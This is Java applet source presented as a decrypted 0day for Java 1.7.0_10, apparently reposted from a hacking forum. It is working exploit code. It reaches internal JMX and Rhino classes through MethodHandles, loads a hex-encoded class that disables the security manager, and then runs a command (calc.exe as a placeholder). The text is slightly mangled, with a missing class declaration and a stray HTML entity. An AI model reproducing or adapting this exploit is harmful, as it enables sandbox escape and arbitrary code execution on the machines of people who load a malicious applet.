/* Java 0day 1.7.0_10 decrypted source Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0 From Russia with love. */ import java.applet.Applet; import com.sun.jmx.mbeanserver.JmxMBeanServer; import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder; import com.sun.jmx.mbeanserver.MBeanInstantiator; import java.lang.invoke.MethodHandle; import java.lang.invoke.MethodHandles; import java.lang.invoke.MethodType; import java.lang.reflect.Method; public byte[] hex2Byte(String paramString) { byte[] arrayOfByte = new byte[paramString.length() / 2]; for (int i = 0; i < arrayOfByte.length; i++) { arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16); } return arrayOfByte; } public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001 00063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501 00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578 63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F 07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263 6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F 457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142 0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469 6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F 50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445 7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176 612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A 6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000 020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100 040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600 02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107 0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000 02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600 0000020017"; public void init() { try { byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff); JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder(); JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null); MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator(); ClassLoader a = null; Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a); Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a); MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class }); MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1); MethodType localMethodType2 = MethodType.methodType(Void.TYPE); MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 }); Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class }); MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3); MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class); MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 }); Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null }); MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 }); Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte }); localClass3.newInstance(); Runtime.getRuntime().exec("calc.exe"); } catch (Throwable ex) {} } }